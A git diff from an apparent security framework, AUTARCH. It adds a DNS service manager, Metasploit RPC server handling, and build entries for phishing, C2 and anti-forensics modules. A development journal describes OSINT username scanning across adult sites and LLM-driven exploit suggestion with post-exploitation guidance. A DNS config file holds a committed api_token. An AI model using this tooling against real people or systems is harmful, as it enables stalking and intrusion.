`hiddenimports` +- `setup_msi.py` — Added 12 new entries to `includes` + +--- + diff --git a/autarch_public.spec b/autarch_public.spec index 2f21c02..0dbbc88 100644 --- a/autarch_public.spec +++ b/autarch_public.spec @@ -89,6 +89,48 @@ hidden_imports = [ 'web.routes.encmodules', 'web.routes.llm_trainer', 'web.routes.autonomy', + 'web.routes.loadtest', + 'web.routes.phishmail', + 'web.routes.dns_service', + 'web.routes.ipcapture', + 'web.routes.hack_hijack', + 'web.routes.password_toolkit', + 'web.routes.webapp_scanner', + 'web.routes.report_engine', + 'web.routes.net_mapper', + 'web.routes.c2_framework', + 'web.routes.wifi_audit', + 'web.routes.threat_intel', + 'web.routes.steganography', + 'web.routes.api_fuzzer', + 'web.routes.ble_scanner', + 'web.routes.forensics', + 'web.routes.rfid_tools', + 'web.routes.cloud_scan', + 'web.routes.malware_sandbox', + 'web.routes.log_correlator', + 'web.routes.anti_forensics', + 'modules.loadtest', + 'modules.phishmail', + 'modules.ipcapture', + 'modules.hack_hijack', + 'modules.password_toolkit', + 'modules.webapp_scanner', + 'modules.report_engine', + 'modules.net_mapper', + 'modules.c2_framework', + 'modules.wifi_audit', + 'modules.threat_intel', + 'modules.steganography', + 'modules.api_fuzzer', + 'modules.ble_scanner', + 'modules.forensics', + 'modules.rfid_tools', + 'modules.cloud_scan', + 'modules.malware_sandbox', + 'modules.log_correlator', + 'modules.anti_forensics', + 'core.dns_service', # Standard library (sometimes missed on Windows) 'email.mime.text', 'email.mime.multipart', diff --git a/core/dns_service.py b/core/dns_service.py new file mode 100644 index 0000000..41a0081 --- /dev/null +++ b/core/dns_service.py @@ -0,0 +1,324 @@ +"""AUTARCH DNS Service Manager — controls the Go-based autarch-dns binary.""" + +import os +import sys +import json +import time +import signal +import socket +import subprocess +import threading +from pathlib import Path + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + import shutil + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + _HAS_REQUESTS = True +except ImportError: + _HAS_REQUESTS = False + + +class DNSServiceManager: + """Manage the autarch-dns Go binary (start/stop/API calls).""" + + def __init__(self): + self._process = None + self._pid = None + self._config = None + self._config_path = os.path.join(get_data_dir(), 'dns', 'config.json') + self._load_config() + + def _load_config(self): + if os.path.exists(self._config_path): + try: + with open(self._config_path, 'r') as f: + self._config = json.load(f) + except Exception: + self._config = None + if not self._config: + self._config = { + 'listen_dns': '0.0.0.0:53', + 'listen_api': '127.0.0.1:5380', + 'api_token': os.urandom(16).hex(), + 'upstream': [], # Empty = pure recursive from root hints + 'cache_ttl': 300, + 'zones_dir': os.path.join(get_data_dir(), 'dns', 'zones'), + 'dnssec_keys_dir': os.path.join(get_data_dir(), 'dns', 'keys'), + 'log_queries': True, + } + self._save_config() + + def _save_config(self): + os.makedirs(os.path.dirname(self._config_path), exist_ok=True) + with open(self._config_path, 'w') as f: + json.dump(self._config, f, indent=2) + + @property + def api_base(self) -> str: + addr = self._config.get('listen_api', '127.0.0.1:5380') + return f'http://{addr}' + + @property + def api_token(self) -> str: + return self._config.get('api_token', '') + + def find_binary(self) -> str: + """Find the autarch-dns binary.""" + binary = find_tool('autarch-dns') + if binary: + return binary + # Check common locations + base = Path(__file__).parent.parent + candidates = [ + base / 'services' / 'dns-server' / 'autarch-dns', + base / 'services' / 'dns-server' / 'autarch-dns.exe', + base / 'tools' / 'windows-x86_64' / 'autarch-dns.exe', + base / 'tools' / 'linux-arm64' / 'autarch-dns', + base / 'tools' / 'linux-x86_64' / 'autarch-dns', + ] + for c in candidates: + if c.exists(): + return str(c) + return None + + def is_running(self) -> bool: + """Check if the DNS service is running.""" + # Check process + if self._process and self._process.poll() is None: + return True + # Check by API + try: + resp = self._api_get('/api/status') + return resp.get('ok', False) + except Exception: + return False + + def start(self) -> dict: + """Start the DNS service.""" + if self.is_running(): + return {'ok': True, 'message': 'DNS service already running'} + + binary = self.find_binary() + if not binary: + return {'ok': False, 'error': 'autarch-dns binary not found. Build it with: cd services/dns-server && go build'} + + # Ensure zone dirs exist + os.makedirs(self._config.get('zones_dir', ''), exist_ok=True) + os.makedirs(self._config.get('dnssec_keys_dir', ''), exist_ok=True) + + # Save config for the Go binary to read + self._save_config() + + cmd = [ + binary, + '-config', self._config_path, + ] + + try: + kwargs = { + 'stdout': subprocess.DEVNULL, + 'stderr': subprocess.DEVNULL, + } + if sys.platform == 'win32': + kwargs['creationflags'] = ( + subprocess.CREATE_NEW_PROCESS_GROUP | + subprocess.CREATE_NO_WINDOW + ) + else: + kwargs['start_new_session'] = True + + self._process = subprocess.Popen(cmd, **kwargs) + self._pid = self._process.pid + + # Wait for API to be ready + for _ in range(30): + time.sleep(0.5) + try: + resp = self._api_get('/api/status') + if resp.get('ok'): + return { + 'ok': True, + 'message': f'DNS service started (PID {self._pid})', + 'pid': self._pid, + } + except Exception: + if self._process.poll() is not None: + return {'ok': False, 'error': 'DNS service exited immediately — may need admin/root for port 53'} + continue + + return {'ok': False, 'error': 'DNS service started but API not responding'} + except PermissionError: + return {'ok': False, 'error': 'Permission denied — DNS on port 53 requires admin/root'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop(self) -> dict: + """Stop the DNS service.""" + if self._process and self._process.poll() is None: + try: + if sys.platform == 'win32': + self._process.terminate() + else: + os.kill(self._process.pid, signal.SIGTERM) + self._process.wait(timeout=5) + except Exception: + self._process.kill() + self._process = None + self._pid = None + return {'ok': True, 'message': 'DNS service stopped'} + return {'ok': True, 'message': 'DNS service was not running'} + + def status(self) -> dict: + """Get service status.""" + running = self.is_running() + result = { + 'running': running, + 'pid': self._pid, + 'listen_dns': self._config.get('listen_dns', ''), + 'listen_api': self._config.get('listen_api', ''), + } + if running: + try: + resp = self._api_get('/api/status') + result.update(resp) + except Exception: + pass + return result + + # ── API wrappers ───────────────────────────────────────────────────── + + def _api_get(self, endpoint: str) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'GET') + resp = requests.get( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}'}, + timeout=5, + ) + return resp.json() + + def _api_post(self, endpoint: str, data: dict = None) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'POST', data) + resp = requests.post( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'}, + json=data or {}, + timeout=5, + ) + return resp.json() + + def _api_delete(self, endpoint: str) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'DELETE') + resp = requests.delete( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}'}, + timeout=5, + ) + return resp.json() + + def _api_put(self, endpoint: str, data: dict = None) -> dict: + if not _HAS_REQUESTS: + return self._api_urllib(endpoint, 'PUT', data) + resp = requests.put( + f'{self.api_base}{endpoint}', + headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'}, + json=data or {}, + timeout=5, + ) + return resp.json() + + def _api_urllib(self, endpoint: str, method: str, data: dict = None) -> dict: + """Fallback using urllib (no requests dependency).""" + import urllib.request + url = f'{self.api_base}{endpoint}' + body = json.dumps(data).encode() if data else None + req = urllib.request.Request( + url, data=body, method=method, + headers={ + 'Authorization': f'Bearer {self.api_token}', + 'Content-Type': 'application/json', + }, + ) + with urllib.request.urlopen(req, timeout=5) as resp: + return json.loads(resp.read()) + + # ── High-level zone operations ─────────────────────────────────────── + + def list_zones(self) -> list: + return self._api_get('/api/zones').get('zones', []) + + def create_zone(self, domain: str) -> dict: + return self._api_post('/api/zones', {'domain': domain}) + + def get_zone(self, domain: str) -> dict: + return self._api_get(f'/api/zones/{domain}') + + def delete_zone(self, domain: str) -> dict: + return self._api_delete(f'/api/zones/{domain}') + + def list_records(self, domain: str) -> list: + return self._api_get(f'/api/zones/{domain}/records').get('records', []) + + def add_record(self, domain: str, rtype: str, name: str, value: str, + ttl: int = 300, priority: int = 0) -> dict: + return self._api_post(f'/api/zones/{domain}/records', { + 'type': rtype, 'name': name, 'value': value, + 'ttl': ttl, 'priority': priority, + }) + + def delete_record(self, domain: str, record_id: str) -> dict: + return self._api_delete(f'/api/zones/{domain}/records/{record_id}') + + def setup_mail_records(self, domain: str, mx_host: str = '', + dkim_key: str = '', spf_allow: str = '') -> dict: + return self._api_post(f'/api/zones/{domain}/mail-setup', { + 'mx_host': mx_host, 'dkim_key': dkim_key, 'spf_allow': spf_allow, + }) + + def enable_dnssec(self, domain: str) -> dict: + return self._api_post(f'/api/zones/{domain}/dnssec/enable') + + def disable_dnssec(self, domain: str) -> dict: + return self._api_post(f'/api/zones/{domain}/dnssec/disable') + + def get_metrics(self) -> dict: + return self._api_get('/api/metrics').get('metrics', {}) + + def get_config(self) -> dict: + return self._config.copy() + + def update_config(self, updates: dict) -> dict: + for k, v in updates.items(): + if k in self._config: + self._config[k] = v + self._save_config() + # Also update running service + try: + return self._api_put('/api/config', updates) + except Exception: + return {'ok': True, 'message': 'Config saved (service not running)'} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_dns_service() -> DNSServiceManager: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = DNSServiceManager() + return _instance diff --git a/core/msf.py b/core/msf.py index 65e5c77..60a3661 100644 --- a/core/msf.py +++ b/core/msf.py @@ -538,38 +538,75 @@ class MSFManager: def _find_msfrpcd_pid(self) -> Optional[str]: """Find the PID of running msfrpcd process. + Works on both Linux (pgrep, /proc) and Windows (tasklist, wmic). + Returns: PID as string, or None if not found """ - try: - # Use pgrep to find msfrpcd - result = subprocess.run( - ['pgrep', '-f', 'msfrpcd'], - capture_output=True, - text=True, - timeout=5 - ) - if result.returncode == 0 and result.stdout.strip(): - # Return first PID found - pids = result.stdout.strip().split('\n') - return pids[0] if pids else None - except (subprocess.TimeoutExpired, FileNotFoundError): - pass + import sys + is_win = sys.platform == 'win32' - # Fallback: check /proc on Linux - try: - for pid_dir in os.listdir('/proc'): - if pid_dir.isdigit(): - try: - cmdline_path = f'/proc/{pid_dir}/cmdline' - with open(cmdline_path, 'r') as f: - cmdline = f.read() - if 'msfrpcd' in cmdline: - return pid_dir - except (IOError, PermissionError): - continue - except Exception: - pass + if is_win: + # Windows: use tasklist to find ruby/msfrpcd processes + for search_term in ['msfrpcd', 'thin', 'ruby']: + try: + result = subprocess.run( + ['tasklist', '/FI', f'IMAGENAME eq {search_term}*', + '/FO', 'CSV', '/NH'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + line = line.strip().strip('"') + if line and 'INFO:' not in line: + parts = line.split('","') + if len(parts) >= 2: + return parts[1].strip('"') + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Fallback: wmic for command-line matching + try: + result = subprocess.run( + ['wmic', 'process', 'where', + "commandline like '%msfrpcd%' or commandline like '%thin%msf%'", + 'get', 'processid'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + line = line.strip() + if line.isdigit(): + return line + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + else: + # Linux: use pgrep + try: + result = subprocess.run( + ['pgrep', '-f', 'msfrpcd'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0 and result.stdout.strip(): + pids = result.stdout.strip().split('\n') + return pids[0] if pids else None + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Fallback: check /proc on Linux + try: + for pid_dir in os.listdir('/proc'): + if pid_dir.isdigit(): + try: + cmdline_path = f'/proc/{pid_dir}/cmdline' + with open(cmdline_path, 'r') as f: + cmdline = f.read() + if 'msfrpcd' in cmdline: + return pid_dir + except (IOError, PermissionError): + continue + except Exception: + pass return None @@ -577,11 +614,15 @@ class MSFManager: """Kill any running msfrpcd server. Args: - use_sudo: Use sudo for killing (needed if server was started with sudo) + use_sudo: Use sudo for killing (needed if server was started with sudo). + Ignored on Windows. Returns: True if server was killed or no server was running """ + import sys + is_win = sys.platform == 'win32' + is_running, pid = self.detect_server() if not is_running: @@ -591,77 +632,168 @@ class MSFManager: if self.is_connected: self.disconnect() - # Kill the process - if pid: - try: - # Try without sudo first - os.kill(int(pid), signal.SIGTERM) - # Wait a bit for graceful shutdown - time.sleep(1) - - # Check if still running, force kill if needed + if is_win: + # Windows: use taskkill + if pid: try: - os.kill(int(pid), 0) # Check if process exists - os.kill(int(pid), signal.SIGKILL) - time.sleep(0.5) - except ProcessLookupError: - pass # Process already dead + subprocess.run( + ['taskkill', '/F', '/PID', str(pid)], + capture_output=True, timeout=10 + ) + time.sleep(1) + return True + except Exception as e: + print(f"{Colors.RED}[X] Failed to kill msfrpcd (PID {pid}): {e}{Colors.RESET}") - return True - except PermissionError: - # Process owned by root, need sudo - if use_sudo: - try: - subprocess.run(['sudo', 'kill', '-TERM', str(pid)], timeout=5) - time.sleep(1) - # Check if still running - try: - os.kill(int(pid), 0) - subprocess.run(['sudo', 'kill', '-KILL', str(pid)], timeout=5) - except ProcessLookupError: - pass - return True - except Exception as e: - print(f"{Colors.RED}[X] Failed to kill msfrpcd with sudo (PID {pid}): {e}{Colors.RESET}") - return False - else: - print(f"{Colors.RED}[X] Failed to kill msfrpcd (PID {pid}): Permission denied{Colors.RESET}") - return False - except ProcessLookupError: - return True # Already dead - - # Try pkill as fallback (with sudo if needed) - try: - if use_sudo: - subprocess.run(['sudo', 'pkill', '-f', 'msfrpcd'], timeout=5) - else: - subprocess.run(['pkill', '-f', 'msfrpcd'], timeout=5) + # Fallback: kill by image name + for name in ['msfrpcd', 'ruby', 'thin']: + try: + subprocess.run( + ['taskkill', '/F', '/IM', f'{name}.exe'], + capture_output=True, timeout=5 + ) + except Exception: + pass time.sleep(1) return True - except Exception: - pass + else: + # Linux: kill by PID or pkill + if pid: + try: + os.kill(int(pid), signal.SIGTERM) + time.sleep(1) + try: + os.kill(int(pid), 0) + os.kill(int(pid), signal.SIGKILL) + time.sleep(0.5) + except ProcessLookupError: + pass + return True + except PermissionError: + if use_sudo: + try: + subprocess.run(['sudo', 'kill', '-TERM', str(pid)], timeout=5) + time.sleep(1) + try: + os.kill(int(pid), 0) + subprocess.run(['sudo', 'kill', '-KILL', str(pid)], timeout=5) + except ProcessLookupError: + pass + return True + except Exception as e: + print(f"{Colors.RED}[X] Failed to kill msfrpcd with sudo (PID {pid}): {e}{Colors.RESET}") + return False + else: + print(f"{Colors.RED}[X] Failed to kill msfrpcd (PID {pid}): Permission denied{Colors.RESET}") + return False + except ProcessLookupError: + return True + + # Try pkill as fallback + try: + if use_sudo: + subprocess.run(['sudo', 'pkill', '-f', 'msfrpcd'], timeout=5) + else: + subprocess.run(['pkill', '-f', 'msfrpcd'], timeout=5) + time.sleep(1) + return True + except Exception: + pass return False + def _find_msf_install(self) -> Optional[str]: + """Find the Metasploit Framework installation directory. + + Returns: + Path to the MSF install directory, or None if not found. + """ + import sys + is_win = sys.platform == 'win32' + + if is_win: + # Common Windows Metasploit install paths + candidates = [ + os.path.join(os.environ.get('ProgramFiles', r'C:\Program Files'), 'Metasploit'), + os.path.join(os.environ.get('ProgramFiles(x86)', r'C:\Program Files (x86)'), 'Metasploit'), + r'C:\metasploit-framework', + os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Metasploit'), + os.path.join(os.environ.get('ProgramFiles', ''), 'Rapid7', 'Metasploit'), + ] + for c in candidates: + if c and os.path.isdir(c): + return c + # Also check with -framework suffix + cf = c + '-framework' if not c.endswith('-framework') else c + if cf and os.path.isdir(cf): + return cf + else: + candidates = [ + '/opt/metasploit-framework', + '/usr/share/metasploit-framework', + '/opt/metasploit', + os.path.expanduser('~/.msf4'), + ] + for c in candidates: + if os.path.isdir(c): + return c + + return None + def start_server(self, username: str, password: str, host: str = "127.0.0.1", port: int = 55553, use_ssl: bool = True, use_sudo: bool = True) -> bool: """Start the msfrpcd server with given credentials. + Works on both Linux and Windows. + Args: username: RPC username password: RPC password host: Host to bind to port: Port to listen on use_ssl: Whether to use SSL - use_sudo: Run msfrpcd with sudo (required for raw socket modules like SYN scan) + use_sudo: Run msfrpcd with sudo (Linux only; ignored on Windows) Returns: True if server started successfully """ - # Build msfrpcd command + import sys + is_win = sys.platform == 'win32' + + # Find msfrpcd binary from core.paths import find_tool - msfrpcd_bin = find_tool('msfrpcd') or 'msfrpcd' + msfrpcd_bin = find_tool('msfrpcd') + + if not msfrpcd_bin and is_win: + # Windows: look for msfrpcd.bat in common locations + msf_dir = self._find_msf_install() + if msf_dir: + for candidate in [ + os.path.join(msf_dir, 'bin', 'msfrpcd.bat'), + os.path.join(msf_dir, 'bin', 'msfrpcd'), + os.path.join(msf_dir, 'msfrpcd.bat'), + os.path.join(msf_dir, 'embedded', 'bin', 'ruby.exe'), + ]: + if os.path.isfile(candidate): + msfrpcd_bin = candidate + break + + if not msfrpcd_bin: + # Try PATH with .bat extension + for ext in ['.bat', '.cmd', '.exe', '']: + for p in os.environ.get('PATH', '').split(os.pathsep): + candidate = os.path.join(p, f'msfrpcd{ext}') + if os.path.isfile(candidate): + msfrpcd_bin = candidate + break + if msfrpcd_bin: + break + + if not msfrpcd_bin: + msfrpcd_bin = 'msfrpcd' # Last resort: hope it's on PATH + + # Build command cmd = [ msfrpcd_bin, '-U', username, @@ -674,21 +806,32 @@ class MSFManager: if not use_ssl: cmd.append('-S') # Disable SSL - # Prepend sudo if requested - if use_sudo: + # On Windows, if it's a .bat file, run through cmd + if is_win and msfrpcd_bin.endswith('.bat'): + cmd = ['cmd', '/c'] + cmd + + # Prepend sudo on Linux if requested + if not is_win and use_sudo: cmd = ['sudo'] + cmd try: # Start msfrpcd in background - self._server_process = subprocess.Popen( - cmd, - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - start_new_session=True # Detach from our process group - ) + popen_kwargs = { + 'stdout': subprocess.DEVNULL, + 'stderr': subprocess.DEVNULL, + } + if is_win: + popen_kwargs['creationflags'] = ( + subprocess.CREATE_NEW_PROCESS_GROUP | + subprocess.CREATE_NO_WINDOW + ) + else: + popen_kwargs['start_new_session'] = True + + self._server_process = subprocess.Popen(cmd, **popen_kwargs) # Wait for server to start (check port becomes available) - max_wait = 30 # seconds + max_wait = 30 start_time = time.time() port_open = False @@ -712,9 +855,8 @@ class MSFManager: return False # Port is open, but server needs time to initialize RPC layer - # msfrpcd can take 5-10 seconds to fully initialize on some systems print(f"{Colors.DIM} Waiting for RPC initialization...{Colors.RESET}") - time.sleep(5) # Give server time to fully initialize + time.sleep(5) # Try a test connection to verify server is really ready for attempt in range(10): @@ -726,7 +868,7 @@ class MSFManager: test_rpc.connect(password) test_rpc.disconnect() return True - except MSFError as e: + except MSFError: if attempt < 9: time.sleep(2) continue @@ -735,8 +877,6 @@ class MSFManager: time.sleep(2) continue - # Server started but auth still failing - return true anyway - # The server IS running, caller can retry connection print(f"{Colors.YELLOW}[!] Server running but authentication not ready - try connecting manually{Colors.RESET}") return True diff --git a/data/dns/config.json b/data/dns/config.json new file mode 100644 index 0000000..8890b1a --- /dev/null +++ b/data/dns/config.json @@ -0,0 +1,10 @@ +{ + "listen_dns": "10.0.0.56:53", + "listen_api": "127.0.0.1:5380", + "api_token": "5ed79350fed2490d2aca6f3b29776365", + "upstream": [], + "cache_ttl": 300, + "zones_dir": "C:\\she\\autarch\\data\\dns\\zones", + "dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys", + "log_queries": true +} \ No newline at end of file diff --git a/data/dns/zones/autarch.local.json b/data/dns/zones/autarch.local.json new file mode 100644 index 0000000..75043cb --- /dev/null +++ b/data/dns/zones/autarch.local.json @@ -0,0 +1,53 @@ +{ + "domain": "autarch.local", + "soa": { + "primary_ns": "ns1.autarch.local", + "admin_email": "admin.autarch.local", + "serial": 1772537115, + "refresh": 3600, + "retry": 600, + "expire": 86400, + "min_ttl": 300 + }, + "records": [ + { + "id": "ns1", + "type": "NS", + "name": "autarch.local.", + "value": "ns1.autarch.local.", + "ttl": 3600 + }, + { + "id": "mx1", + "type": "MX", + "name": "autarch.local.", + "value": "mx.autarch.local.", + "ttl": 3600, + "priority": 10 + }, + { + "id": "spf1", + "type": "TXT", + "name": "autarch.local.", + "value": "v=spf1 ip4:127.0.0.1 -all", + "ttl": 3600 + }, + { + "id": "dmarc1", + "type": "TXT", + "name": "_dmarc.autarch.local.", + "value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local", + "ttl": 3600 + }, + { + "id": "r1772537722879235900", + "type": "A", + "name": "https://autarch.local", + "value": "10.0.0.56:8181", + "ttl": 300 + } + ], + "dnssec": true, + "created_at": "2026-03-03T11:25:07Z", + "updated_at": "2026-03-03T12:24:00Z" +} \ No newline at end of file diff --git a/devjournal.md b/devjournal.md new file mode 100644 index 0000000..d779381 --- /dev/null +++ b/devjournal.md @@ -0,0 +1,2413 @@ +# AUTARCH Development Journal +## Project: darkHal Security Group - Project AUTARCH + +A condensed development journal covering all work on the AUTARCH framework. +For full implementation details, see `DEVLOG.md`. + +--- + +## Session 1 - 2026-01-14: Framework Foundation + +Built the entire AUTARCH framework from scratch in a single session. + +### Core Framework + +- **autarch.py** - Main entry point with full argparse CLI (--help, --module, --list, --setup, etc.) +- **core/banner.py** - ASCII art banner with ANSI color support +- **core/config.py** - Configuration handler for `autarch_settings.conf` with typed getters +- **core/menu.py** - Category-based main menu system (Defense/Offense/Counter/Analyze/OSINT/Simulate) +- **core/llm.py** - llama-cpp-python wrapper with ChatML format, streaming, chat history management +- **core/agent.py** - Autonomous agent loop with THOUGHT/ACTION/PARAMS structured response parsing +- **core/tools.py** - Tool registry with 12+ built-in tools (shell, file ops, MSF tools) +- **core/msf.py** - Metasploit RPC client (msgpack protocol) with module search/execution/session management +- **modules/setup.py** - First-run setup wizard for llama.cpp parameters +- **modules/chat.py** - Interactive LLM chat interface with slash commands +- **modules/agent.py** - Agent task interface +- **modules/msf.py** - Menu-driven MSF interface with quick scan presets + +### Category Modules + +- **modules/defender.py** (defense) - System hardening audit, firewall/SSH/permissions checks, security scoring +- **modules/counter.py** (counter) - Threat detection: suspicious processes, network analysis, rootkit checks +- **modules/analyze.py** (analyze) - File forensics: metadata, hashes, strings, hex dump, log analysis +- **modules/recon.py** (osint) - OSINT reconnaissance: email/username/phone/domain/IP lookup, social-analyzer integration +- **modules/simulate.py** (simulate) - Attack simulation: port scanner, password audit, payload generator +- **modules/adultscan.py** (osint) - Adult site username scanner (50+ sites) with custom site management, auto-detect URL patterns, bulk import from file + +### CLI System + +Full argparse with direct module execution (`-m`), quick commands (`osint `, `scan `), category listing, config display. + +### Architecture Decisions + +- Modules define NAME, DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes with a `run()` entry point +- ChatML format (`<|im_start|>role\ncontent<|im_end|>`) for LLM compatibility +- Agent uses lower temperature (0.3) for tool selection accuracy +- MSF RPC requires msfrpcd running separately + +--- + +## Session 2 - 2026-01-15: CVE Database & OSINT Expansion + +### CVE Database System + +- **core/cve.py** - Full NVD API v2.0 integration with SQLite storage + - Auto OS detection with CPE mapping (15+ operating systems) + - Thread-safe SQLite with indexed columns + - Rate-limited API sync (respects NVD limits) + - Online fallback when database empty +- **modules/mysystem.py** (defense) - "My System" comprehensive audit + - 10 security checks (firewall, SSH, ports, users, permissions, services, updates, fail2ban, AV, CVEs) + - Security score 0-100 with severity-based penalties + - Per-issue remediation: manual instructions or LLM auto-fix + - Persists audit results to `system.inf` + +### Settings Menu Expansion + +- CVE Database Settings (sync, API key, stats) +- Custom APIs management (add/edit/delete external API integrations) +- AUTARCH API placeholder (future REST API) + +### OSINT Sites Database Expansion + +- **core/sites_db.py** - SQLite-backed sites database + - Added reveal-my-name source (628 sites) + - Added 43 XenForo/vBulletin forums from large forums list + - Added 60+ adult/NSFW sites (cam, creator, tube, dating, gaming, hentai, furry) + - Added mainstream sites (social, dating, crypto, streaming, creative, shopping, blogging) + - Decoded and imported Snoop Project database (base32-encoded, reversed format) - 4,641 sites + - **Total: 8,315 sites across 9 sources** +- **modules/snoop_decoder.py** - Snoop database decoder module for OSINT menu + +### New OSINT Modules (Snoop-inspired features) + +- **modules/geoip.py** - GEO IP/domain lookup (ipwho.is, ipinfo.io backends) +- **modules/yandex_osint.py** - Yandex user account intelligence gathering +- **modules/nettest.py** - Network connectivity and speed testing +- **core/report_generator.py** - HTML report generator with dark theme AUTARCH branding + +--- + +## Session 3 - 2026-01-15 (Continued): OSINT Quality Improvements + +### Configurable OSINT Settings + +- Added `[osint]` config section: `max_threads` (default 8), `timeout`, `include_nsfw` +- OSINT Settings submenu in Settings menu +- Both recon.py and adultscan.py use config instead of hardcoded values + +### Database Cleanup + +- Fixed 3,171 malformed site names (`{username}.domain` patterns, `Forum_name` patterns) +- Removed 407 duplicate forum software variants (`_vb1`, `_xf`, `_phpbb`) +- Added `cleanup_garbage_sites()` - disabled Russian forum farms (ucoz, borda, etc.), search URLs, dead sites +- Added `auto_categorize()` - pattern-based categorization reducing "other" from 82% to 42% +- Added `remove_duplicates()` - removed duplicate URL templates +- **Result: 7,119 total sites, 4,786 enabled (quality over quantity)** + +### Detection System Rewrite (Social-Analyzer Style) + +- Rewrote detection to mirror social-analyzer's approach: + - `return: true/false` string matching patterns + - Rate calculation: `(detections_passed / detections_total) * 100` + - Status categories: good (100%), maybe (50-100%), bad (<50%) +- Added WAF/Cloudflare detection (actual challenge pages only, not all CDN-served content) +- Added random delays (50-500ms) to reduce rate limiting +- Added retry logic (up to 2 retries for 5xx/connection failures) +- Expanded to 30 NOT_FOUND patterns and 23 FOUND patterns + +### Blackbird Import + +- Added `import_from_blackbird()` to sites_db.py +- Imported 168 new sites from blackbird's wmn-data.json +- Name collision handling with `_bb` suffix +- **Final total: 7,287 sites across 10 sources** + +--- + +## Session 4 - 2026-01-15 (Continued): Dossier Manager & Agent Hal + +### Dossier Manager + +- **modules/dossier.py** - OSINT investigation management + - Create dossiers linking multiple identifiers (emails, usernames, phones, names, aliases) + - Import username scan results from JSON + - Manual profile addition, investigation notes + - Export as JSON or text report + - Storage in `dossiers/` directory + +### NSFW / Adult Site Fixes + +- Fixed Chaturbate URL format (added trailing slash) +- Added fanfiction sites from pred_site.txt (AO3, Fimfiction, FanFiction.net, Kemono) +- Fixed imgsrc.ru categorization (adult, nsfw=1) +- Added `SITE_COOKIES` dictionary with age verification cookies for 25+ adult sites +- Fixed overly aggressive WAF detection (Cloudflare-served != WAF-blocked) + +### Agent Hal Module + +- **modules/agent_hal.py** v1.0 - AI-powered security automation + - **Defense: MITM Detection** + - ARP spoofing, DNS spoofing, SSL stripping, rogue DHCP, gateway anomaly detection + - Continuous monitoring mode (5-second interval ARP table comparison) + - **Offense: MSF Automation (AI)** + - Natural language MSF control (user describes intent, LLM recommends modules) + - Quick scan target (multi-scanner automation) + - Exploit suggester (LLM-powered, with CVE numbers and success likelihood) + - Post-exploitation helper (privesc, persistence, credential harvesting guidance) +- Added to main menu as option [7] Agent Hal + +--- + +## Session 5 - 2026-01-19: Username Scanner Refinement + +### CupidCr4wl-Style Detection + +- Rewrote detection algorithm based on CupidCr4wl's dual pattern matching: + - `not_found_text` match = user definitely doesn't exist (highest priority) + - `check_text` match + username in content = FOUND (good) + - `check_text` match only = POSSIBLE (maybe) + - Nothing matched = NOT FOUND + +### Site-Specific Detection Patterns + +- Added `SITE_PATTERNS` dictionary with tailored check_text/not_found_text for 20+ platforms: + - Reddit, GitHub, Twitter/X, Instagram, TikTok, Telegram, Tumblr + - Chaturbate, OnlyFans, Fansly, Pornhub, XVideos, Stripchat + - DeviantArt, ArtStation, Fur Affinity, e621 + - Twitch, Steam, FetLife, YouTube, Wattpad + +### Other Improvements + +- Username validation (length, invalid chars, email detection) +- User-Agent rotation (6 agents) +- Fixed gzip encoding bug (removed Accept-Encoding header) +- Updated detection patterns in sites.db via SQL for major sites +- Fixed Chaturbate "offline" false positive ("offline" != "not found" for cam sites) + +### Verification Results + +- torvalds (GitHub): good 100% - correctly detected +- spez (Reddit): good 100% - correctly detected +- fudnucker (Chaturbate): good 100% - correctly detected +- totally_fake_user_xyz (Chaturbate): NOT FOUND - correctly rejected + +--- + +## Session 6 - 2026-01-27: PentestGPT Methodology Integration + +### Overview + +Ported PentestGPT's three-module pipeline architecture (from the USENIX Security paper) into AUTARCH as native modules. This adds structured, AI-guided penetration testing capabilities to Agent Hal using the local LLM rather than external APIs. + +### Research Phase + +Studied PentestGPT's architecture: +- Three-module pipeline: Parsing, Reasoning, Generation +- Penetration Testing Tree (PTT) - hierarchical task tracker +- Session-based workflow with state persistence + +Studied AUTARCH's existing systems: +- core/llm.py (ChatML, chat(), clear_history(), streaming) +- core/tools.py (ToolRegistry, MSF tools, shell) +- modules/agent_hal.py (MITM detection, MSF automation) + +### Key Adaptation Decisions + +1. **Fresh context per module call** - PentestGPT uses 100K+ token cloud models with rolling conversations. AUTARCH's local LLM has 4096 token context. Solution: `clear_history()` before each pipeline stage, inject only compact tree summary. +2. **PTT as Python object** - PentestGPT keeps the tree as in-context text. AUTARCH stores it as a proper data structure with `render_summary()` for minimal token injection. +3. **Regex-based LLM parsing** - Local 7B models don't produce reliable JSON. All parsers use regex with fallbacks, matching existing agent_hal.py patterns. +4. **Manual-first execution** - Commands displayed for user to run manually. `exec` command enables auto-execution with per-command Y/n/skip confirmation. + +### New Files Created + +#### core/pentest_tree.py - Penetration Testing Tree + +The central PTT data structure from the USENIX paper. + +- `NodeStatus` enum: TODO, IN_PROGRESS, COMPLETED, NOT_APPLICABLE +- `PTTNodeType` enum: RECONNAISSANCE, INITIAL_ACCESS, PRIVILEGE_ESCALATION, LATERAL_MOVEMENT, 